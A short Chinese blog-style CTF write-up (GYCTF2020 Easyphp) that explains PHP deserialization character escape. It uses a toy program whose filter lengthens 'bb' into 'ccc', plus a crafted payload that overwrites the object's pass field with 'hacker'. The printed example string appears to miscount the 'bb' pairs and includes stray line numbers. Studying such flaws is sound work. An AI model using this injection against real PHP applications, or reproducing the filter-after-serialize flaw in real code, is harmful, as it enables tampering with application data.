php反序列化字符逃逸
# 前言
这玩意真挺离谱的.jpg
知识点来源:GYCTF2020 Easyphp
弄完pop链被反序列化卡住,查了一圈才知道居然还有这种骚操作。
# 逃逸
先抽象出这段简单的程序
<?php
function safe($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'aaaa';
public $pass = '123456';
}
$AA = new A();
$res = safe(serialize($AA));
echo $res."\r\n";
$c = unserialize($res);
echo $c->pass;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 一句话能搞明白么
简单来说,就是通过在内容中,使用特殊字符闭合这段变量(结束符号 ";}
),让你后面的东西插进去成为这串反序列化字符串内的玩意,而且还可以把后面的挤掉。
# 细说
但是,和上图写的一样,php会按照这个长度进行解析,在长度内的就按照普通字符串解析了。
那既然有了长度规定,只要让你的payload在长度范围之外就好了!
但是一般来说,长度是根据内容计算出来的,怎么会有长度和内容不统一的问题?
这就要归功于上面那段代码的 safe
函数,某些特殊字符会被替换掉。一个bb
->ccc
,这就多出来1位!
那么我们只要构造相应个的bb
,就可以注入相应长度的内容啦
比如说我们要注入这段 ";s:4:"pass";s:6:"hacker";}
,将 pass
的值改成了 hacker
,这段payload长度为27,我们只需要在前面加上27*bb就可以达到这个效果了
具体过程是:
aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}
,长度为4+27*2+27,
aaaa长度4,27个bb长度2*27,payload长度27。这段作为 $name
变量,交给php进行序列化。
php在序列化时候,会 strlen(name)
,得到4+27*2+27=85。于是就有了下面这个
O:1:"A":2:{s:4:"name";s:85:"aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
在经历 filter()
函数时,这串字符串的bb会被替换成ccc、
O:1:"A":2:{s:4:"name";s:85:"aaaaccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
显然,这85可就出问题了。我们精心构造的长度起了作用,现在85正好是aaaaccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
,闭合成功。
这破图做了我半天麻烦死了
# 后记
php 真可怕啊
远离 php 从我做起